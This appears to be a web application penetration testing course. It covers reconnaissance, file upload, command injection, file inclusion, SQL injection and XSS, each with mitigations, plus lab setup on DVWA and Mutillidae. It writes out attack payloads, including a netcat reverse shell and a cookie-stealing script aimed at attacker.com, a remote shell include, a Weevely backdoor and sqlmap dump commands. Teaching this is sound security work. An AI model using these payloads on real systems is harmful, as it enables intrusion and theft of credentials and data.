Introduction to Web Application Security
This course provides a highly practical yet theoretically sound approach to web application penetration testing. We'll begin with fundamental concepts to ensure you understand what web applications are, how they function, the technologies they utilize, and how these technologies work together to create the platforms we use daily.
Understanding Web Applications
What is a Website?
A website is fundamentally a web application installed on a server. A server, in its simplest form, is just a computer—it could even be a personal computer. What distinguishes it as a "server" are specific applications that enable it to function in that capacity.
Web Server Architecture
🌐 Client Browser
User's web browser accessing the website
🔌 Internet/Network
HTTP/HTTPS communication
💻 Web Server
Apache, Nginx, IIS
Serves files & executes code
⚙️ Web Application
PHP, Python, Ruby
Processing logic
🗄️ Database
MySQL, PostgreSQL, MongoDB
Data storage
Key Components Explained
1. Web Server
An application installed on a computer that specifies a certain location within the file system. This location hosts files that can be accessed by anyone connected to the same network or, if exposed to the internet, by anyone online.
- Can be installed on any computer (even without internet access)
- Serves files to users via HTTP protocol
- Common examples: Apache, Nginx, Microsoft IIS
2. Web Application
Similar to any application, but designed to run on a web server and be served over the internet. The web server can execute web application languages such as PHP, Python, and Ruby.
- Contains executable code (not just static files)
- Processes information and performs useful tasks
- Examples: E-commerce platforms, social networks, banking systems
3. Database
A separate application that stores data in organized tables. The web application interacts with the database to retrieve, update, and insert information.
Example Database Table: Products
+----+---------+--------+
| ID | Title | Price |
+----+---------+--------+
| 1 | iPhone | $999 |
| 2 | iPad | $599 |
| 3 | Mouse | $29 |
+----+---------+--------+
How to Attack a Website
Attack Vector #1: Server Side Attacks
Since a website runs on a computer with an operating system and various applications, you can employ traditional penetration testing methods. Identify the web server software, operating system, and other services to find potential vulnerabilities.
# Example: Scanning for services
nmap -sV -sC 10.20.14.204
# Results might show:
# - Apache 2.2.8 (outdated version)
# - OpenSSH 4.7p1 (potential vulnerability)
# - MySQL 5.0.51a (database service)
Attack Vector #2: Client Side Attacks
Websites are managed by humans—administrators who maintain and update them. If you can compromise any administrator through social engineering or client-side exploits, you may obtain their credentials to access the admin panel or SSH services.
Attack Vector #3: Web Application Testing
If server and client-side attacks fail, target the web application itself. Web applications often contain vulnerabilities that can be exploited to gain unauthorized access, steal data, or compromise user accounts.
Information Gathering Phase
Before attacking a web application, thorough reconnaissance is essential. This phase involves collecting as much information as possible about the target without directly interacting with it in a malicious way.
Key Information to Gather
| Information Type | Purpose | Tools/Methods |
|---|---|---|
| IP Address | Identify server location and infrastructure | ping, nslookup, dig |
| Domain Information | Find owner details and registration info | WHOIS lookup |
| Technologies Used | Identify potential vulnerabilities | Netcraft, Wappalyzer |
| DNS Records | Discover subdomains and infrastructure | Robtex, dig |
| Hidden Files/Directories | Find exposed admin panels or backup files | dirb, gobuster |
| Other Sites on Server | Find related targets on shared hosting | Bing IP search, Robtex |
Example: WHOIS Lookup
# Command line WHOIS query
whois example.com
# Sample output:
Domain Name: EXAMPLE.COM
Registrar: GoDaddy.com, LLC
Registrant: John Doe
Registrant Email: [email protected]
Creation Date: 2020-01-15
Name Servers: ns1.example.com, ns2.example.com
Subdomain Discovery
Subdomains (like beta.facebook.com or api.example.com) often have weaker security than the main domain. They might run different applications or older versions of software with known vulnerabilities.
# Using knock.py for subdomain enumeration
git clone https://github.com/guelfoweb/knock.git
cd knock
python knock.py example.com
# Discovered subdomains might include:
# - dev.example.com (development environment)
# - staging.example.com (testing environment)
# - admin.example.com (administrative panel)
Directory and File Discovery
Finding hidden directories, backup files, or forgotten admin pages can provide valuable entry points. Tools like dirb use wordlists to brute-force common directory and file names.
# Using dirb for directory enumeration
dirb http://example.com /usr/share/wordlists/dirb/common.txt
# Might discover:
# + http://example.com/admin (admin panel)
# + http://example.com/backup (backup files)
# + http://example.com/phpinfo.php (server configuration)
Common Web Application Vulnerabilities
🔓 1. File Upload Vulnerabilities
Description: Allows users to upload executable files (like PHP scripts) without proper validation.
Attack Scenario:
- Upload a malicious PHP backdoor (e.g., using Weevely)
- Access the uploaded file through the browser
- Execute system commands remotely
# Generate a backdoor with Weevely
weevely generate MyPassword backdoor.php
# Upload backdoor.php through vulnerable form
# Then connect to it:
weevely http://example.com/uploads/backdoor.php MyPassword
# Now you have shell access
weevely> ls -la
weevely> cat /etc/passwd
Mitigation:
- Only allow safe file types (images, PDFs, documents)
- Validate file extensions AND content type
- Store uploaded files outside the web root
- Rename uploaded files to prevent direct execution
⚡ 2. Code Execution Vulnerabilities
Description: Allows attackers to execute operating system commands on the server.
Attack Example:
# If application accepts user input for system commands
# Vulnerable code: system("ping " . $_GET['ip']);
# Attacker can inject:
http://example.com/ping.php?ip=127.0.0.1; cat /etc/passwd
http://example.com/ping.php?ip=127.0.0.1; wget attacker.com/shell.php
# Get reverse shell:
http://example.com/ping.php?ip=127.0.0.1; nc attacker.com 4444 -e /bin/bash
Mitigation:
- Never use dangerous functions like system(), exec(), eval()
- Implement strict input validation and sanitization
- Use whitelist approach for allowed commands
- Run web server with minimal privileges
📁 3. Local File Inclusion (LFI)
Description: Allows attackers to read any file on the server, potentially including configuration files, passwords, or source code.
# Vulnerable code: include($_GET['page'] . '.php');
# Normal usage:
http://example.com/index.php?page=about
# Loads: about.php
# Attack - read /etc/passwd:
http://example.com/index.php?page=../../../../etc/passwd
# Attack - read database configuration:
http://example.com/index.php?page=../../../../var/www/config
Impact: Access to sensitive files outside the web directory, exposure of credentials, source code disclosure.
🌐 4. Remote File Inclusion (RFI)
Description: Similar to LFI, but allows inclusion of files from remote servers, enabling code execution.
# Vulnerable code with allow_url_include enabled
# include($_GET['page']);
# Attacker hosts malicious PHP on their server as .txt:
# http://attacker.com/shell.txt contains PHP backdoor
# Attack:
http://example.com/index.php?page=http://attacker.com/shell.txt
# Server executes the remote PHP code
Mitigation for File Inclusion:
- Disable allow_url_fopen and allow_url_include in php.ini
- Use static file inclusion (hard-coded file names)
- Implement strict input validation with whitelists
- Never trust user input in file operations
💉 5. SQL Injection (SQLi)
Description: The most dangerous and common web vulnerability, allowing attackers to manipulate database queries.
Why SQL Injection is Dangerous:
- Found everywhere - in login forms, search boxes, URL parameters
- Provides direct access to the database and all sensitive data
- Can read local files outside the web root
- Can bypass authentication to log in as admin
- Can upload malicious files in some configurations
# Vulnerable code:
# $query = "SELECT * FROM users WHERE username='" . $_POST['user'] . "'";
# Normal input:
username: john → SELECT * FROM users WHERE username='john'
# SQL Injection attack:
username: admin' OR '1'='1
# Results in: SELECT * FROM users WHERE username='admin' OR '1'='1'
# This returns all users, bypassing authentication!
# Advanced attack - extract database:
username: admin' UNION SELECT username,password FROM users--
# Using SQLMap tool:
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T users --dump
Discovering SQL Injection:
- Test with single quote (') to break the query
- Use logical operators: AND, OR
- Try ORDER BY to determine column count
- Test all input fields and URL parameters
Prevention:
# Vulnerable code:
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";
# Secure code using prepared statements:
$stmt = $pdo->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->execute([$user, $pass]);
# This separates data from SQL code, preventing injection
Input filters and blacklists can be bypassed. Whitelists are better but still vulnerable. Parameterized statements are the ONLY foolproof method because they fundamentally separate data from SQL commands.
🎭 6. Cross-Site Scripting (XSS)
Description: Allows attackers to inject malicious JavaScript into web pages viewed by other users.
Types of XSS:
Reflected XSS (Non-Persistent)
The injected code is not stored and only works if the victim visits a specially crafted URL.
# Vulnerable URL parameter:
http://example.com/search.php?q=laptop
# Attack URL:
http://example.com/search.php?q=<script>alert('XSS')</script>
# Advanced attack - steal cookies:
http://example.com/search.php?q=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Stored XSS (Persistent)
The malicious code is permanently stored in the database and executed every time the page loads.
# Example: Comment section vulnerability
# Attacker posts comment:
<script>alert('This site is hacked!')</script>
# Code is stored in database
# Every user viewing comments executes the script
# Stealing sessions with BeEF framework:
<script src="http://attacker.com:3000/hook.js"></script>
# This "hooks" every visitor's browser to attacker's control panel
DOM-Based XSS
Vulnerability exists in client-side code that improperly handles user input.
Exploitation with BeEF Framework:
# Start BeEF framework
cd /usr/share/beef-xss
./beef
# Inject hook into vulnerable page:
<script src="http://[your-ip]:3000/hook.js"></script>
# Access BeEF panel at http://localhost:3000/ui/panel
# Hooked browsers appear in panel
# Execute commands: keylogging, screenshot, redirect, etc.
Prevention:
| Character | HTML Entity | Why Encode |
|---|---|---|
| & | & | Prevents entity interpretation |
| < | < | Prevents tag opening |
| > | > | Prevents tag closing |
| " | " | Prevents attribute breaking |
| ' | ' | Prevents attribute breaking |
| / | / | Prevents closing tags |
- Minimize insertion of untrusted data into HTML
- Escape ALL untrusted input before inserting into pages
- Use Content Security Policy (CSP) headers
- Implement HttpOnly flag on cookies
- Validate and sanitize input on both client and server side
Automated Vulnerability Scanning
OWASP ZAP (Zed Attack Proxy)
ZAP is a free, open-source web application security scanner maintained by OWASP. It can automatically discover vulnerabilities and is also excellent for manual testing.
- Automated scanning for common vulnerabilities
- Intercepting proxy for manual testing
- Fuzzing capabilities
- Ajax spider for modern web applications
- API for integration with CI/CD pipelines
# Launch ZAP
zaproxy
# Or use CLI mode for automated scanning:
zap-cli quick-scan --self-contained http://example.com
zap-cli report -o zap-report.html -f html
# ZAP will identify:
# - SQL Injection points
# - XSS vulnerabilities
# - Security misconfigurations
# - Broken authentication
# - And many more...
Practice Lab Setup
Setting Up Your Testing Environment
To practice web application penetration testing safely and legally, we'll use deliberately vulnerable applications. The Metasploitable virtual machine provides an excellent practice environment.
Metasploitable Configuration
System Information:
# Check IP address
ifconfig
# Example output: 10.20.14.204
# Web files location
cd /var/www
ls -la
# Contents: mutillidae, dvwa, phpMyAdmin, phpinfo.php
Accessing from Kali Linux:
# Open browser and navigate to:
http://10.20.14.204
# Access vulnerable applications:
http://10.20.14.204/mutillidae
http://10.20.14.204/dvwa
http://10.20.14.204/phpMyAdmin
DVWA Login Credentials:
- Username:
admin - Password:
password
Setting Security Level:
- Log into DVWA
- Navigate to "DVWA Security"
- Set security level to "Low" for learning
- Click "Submit" to save changes
Mutillidae Configuration:
- Security level should be set to 0 (lowest)
- Check settings page to verify configuration
- Reset database if needed from setup page
These intentionally vulnerable applications allow you to:
- Learn exploitation techniques without legal consequences
- Understand vulnerabilities in a controlled environment
- Practice with progressively difficult security levels
- Experiment freely without fear of breaking production systems
Professional Testing Methodology
Detailed Methodology Breakdown
| Phase | Activities | Tools |
|---|---|---|
| Reconnaissance | WHOIS, DNS enumeration, subdomain discovery, technology fingerprinting | whois, dig, knock, Netcraft, Robtex |
| Scanning | Port scanning, service enumeration, directory brute-forcing | nmap, dirb, gobuster, nikto |
| Vulnerability Assessment | Identify security weaknesses, analyze configurations | OWASP ZAP, Burp Suite, manual testing |
| Exploitation | Attempt to exploit discovered vulnerabilities | sqlmap, weevely, BeEF, Metasploit |
| Post-Exploitation | Privilege escalation, lateral movement, data extraction | Various depending on access gained |
| Reporting | Document findings, provide remediation recommendations | Report templates, screenshots, proof of concept |
Conclusion and Next Steps
- Web applications are complex systems with multiple attack surfaces
- Understanding the architecture is crucial before attempting penetration testing
- Information gathering provides the foundation for successful testing
- Common vulnerabilities like SQLi and XSS remain prevalent
- Automated tools complement but don't replace manual testing
- Practice in legal, controlled environments is essential
- Practice Regularly: Use DVWA, Mutillidae, WebGoat, and HackTheBox
- Stay Updated: Follow OWASP Top 10, security blogs, and CVE databases
- Learn Secure Coding: Understanding how to build secure applications makes you a better pentester
- Get Certified: Consider CEH, OSCP, or GWAPT certifications
- Join Communities: Participate in bug bounty programs and security forums
- Document Everything: Maintain detailed notes and build your testing methodology
With great power comes great responsibility. Use your knowledge ethically:
- Only test systems you have explicit permission to test
- Respect privacy and handle discovered data responsibly
- Report vulnerabilities through proper channels
- Never cause harm or disruption to systems
- Follow responsible disclosure guidelines